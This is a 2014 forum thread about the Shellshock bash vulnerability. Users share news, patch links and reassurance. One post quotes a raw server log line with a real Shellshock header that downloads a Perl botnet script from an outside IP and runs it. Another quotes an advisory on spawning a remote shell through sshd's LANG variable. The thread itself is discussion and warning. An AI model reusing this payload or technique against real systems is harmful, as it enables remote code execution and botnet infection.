Reza 0 Posted September 26, 2014 Author Share Posted September 26, 2014 Please stop talking nonsense. CGI does not work that way. Please stop talking like this isn't at all possible. It's wormable, and once the worm gets ahold of an IPs on a server, it's over. Possible ways to spread/generate malware onto normal users: SSH client on Mac OS X Linux-based routers running CGI scripts Via servers A number of security companies are now reporting attacks based on Shellshock that are ongoing. "We’re seeing attackers target the Shellshock vulnerability almost immediately (within 4.5 hours) of it being publicly announced," said Waylon Grange, senior malware researcher at Blue Coat. "Any organizations or users with unpatched Linux servers are vulnerable to hackers running unauthorized code, so it’s very important that organizations download and apply the patch immediately. Blue Coat is already seeing DDOS botnets trying to utilize this vulnerability in their attacks and we expect that traffic to only continue to increase.†Even these server attacks affect the users. We're just not seeing any direct SSH attacks yet since there has to be an authentication to the client. 109.202.102.224 - - [25/Sep/2014:09:44:58 -0500] "GET /cgi-bin/hello HTTP/1.0" 404 494 "-" "() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur"" -- this one showed up a couple times on our servers today from netherlands. the source it pulls from http://213.5.67.223/jur has what looks to be a botnet with a worm component. edit - looks like the 213.5.67.223 removed the exposed file. I have a copy of it, is there anyone in the security community I can send it to? there is some pretty scary looking **** in it. damn perl script has a built in port scanner, bot net tcp/udp flooders and spreader. Do you have any clue what this would mean for users and servers? It's Heartbleed all over again Link to post Share on other sites More sharing options...
MonsterOfSpain 8,331 Posted September 26, 2014 Share Posted September 26, 2014 I don't understand a word but I hope my Windows laptop is ok Link to post Share on other sites More sharing options...
Reza 0 Posted September 26, 2014 Author Share Posted September 26, 2014 I don't understand a word but I hope my Windows laptop is ok Cygwin isn't but not too many use that shell anyways (hopefully). Link to post Share on other sites More sharing options...
MonsterOfSpain 8,331 Posted September 26, 2014 Share Posted September 26, 2014 Cygwin isn't but not too many use that shell anyways (hopefully). how do I know if I'm using it Link to post Share on other sites More sharing options...
Reza 0 Posted September 26, 2014 Author Share Posted September 26, 2014 Synopsis: The sshd daemon used in OpenSSH supports a ForceCommand directive, allowing shell logins to be restricted to specific commands. This is often used in configuring sshd for cvs/git accounts, restricted shells, or management scripts. The ForceCommand directive can be employed system wide, or just for specific users. Vulnerability: By default, sshd is configured to allow the LANG environment variable to be pass through prior to execution of the restricted shell. On systems vulnerable to the bash/shellshock vulnerability, LANG can be set in such a way that spawns a remote shell or executes other code on the server, effectively bypassing the forced command and allowing full account access. This can be taken advantage of after the user has authenticated via ssh, and so such systems are only at risk from abuse by their own authorized users, however such users are normally restricted from being able to execute arbitrary commands, and so this is more of a privilege escalation in such cases. This vulnerability can be even more dangerous on systems with open restricted accounts, in which case it becomes an RCE risk. The following code invokes an ssh session that will use shellshock to spawn a remote shell on port 8000 to the IP address at A.B.C.D. Source: http://www.zdziarski.com/blog/?p=3905 MESS IF THIS IS TRUE Link to post Share on other sites More sharing options...
honza 2,194 Posted September 26, 2014 Share Posted September 26, 2014 how do I know if I'm using it if you don't know, you're probably not using it Come along with me and the butterflies and bees Link to post Share on other sites More sharing options...
MonsterOfSpain 8,331 Posted September 26, 2014 Share Posted September 26, 2014 if you don't know, you're probably not using it oh ok Link to post Share on other sites More sharing options...
Matt 469 Posted September 30, 2014 Share Posted September 30, 2014 Apple has released the update! You can manually download it from Apple.com, or wait for it to appear in the Mac App Store update tab shortly. If your using the Yosemite Beta, an update will be released soon. Lion http://support.apple.com/kb/DL1767 Mountain Lion http://support.apple.com/kb/DL1768 Mavericks http://support.apple.com/kb/DL1769?viewlocale=en_US&locale=en_US Link to post Share on other sites More sharing options...
Teal Ambition 47,805 Posted September 30, 2014 Share Posted September 30, 2014 Apple has released the update! You can manually download it from Apple.com, or wait for it to appear in the Mac App Store update tab shortly. If your using the Yosemite Beta, an update will be released soon. Lion http://support.apple.com/kb/DL1767 Mountain Lion http://support.apple.com/kb/DL1768 Mavericks http://support.apple.com/kb/DL1769?viewlocale=en_US&locale=en_US Thank you! Mine is updating right now! ▌│█║▌║▌║ before I am Canadian, I am Chromatican ║▌║▌║█│▌ Link to post Share on other sites More sharing options...
Featured Posts
Archived
This topic is now archived and is closed to further replies.